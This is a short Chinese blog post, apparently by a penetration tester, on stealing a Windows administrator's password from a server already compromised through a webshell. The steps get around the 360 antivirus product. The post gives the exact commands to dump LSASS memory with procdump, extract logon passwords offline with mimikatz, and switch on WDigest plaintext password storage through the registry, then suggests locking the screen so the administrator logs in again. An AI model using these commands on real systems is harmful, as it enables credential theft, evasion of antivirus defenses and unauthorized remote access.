前几天渗透拿到了Webshell,在抓取管理员密码进行远程桌面时遇到了问题,这里记录一下。

  本来想着直接上传mimikzta进行抓取,但是目标机器安装了360导致mimikzta直接被杀,问了一下大佬,可以直接利用Procdump工具抓取lsass.dmp,再拉回本地利用mimikzta进行破解。Procdump工具点击这里直接下载。

0x01

  说干就干,首先上传程序至服务器,然后直接执行如下命令即可

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
procdump

0x02

  直接将lsass.dmp拖回本地利用mimikzta进行破解,(此时得用管理员权限运行),有了密码直接远程登录搞定。

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
pass

0x03

  若遇到破解出来密码为null的情况,可以先修改注册表让其以明文保存密码,然后需要想办法让管理员重新以密码登录,建议锁屏

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

本文作者: Mari0er
本文链接: https://mari0er.club/post/procdump.html
版权声明: 本博客所有文章除特别声明外,均采用BY-NC-SA 许可协议。转载请注明出处!!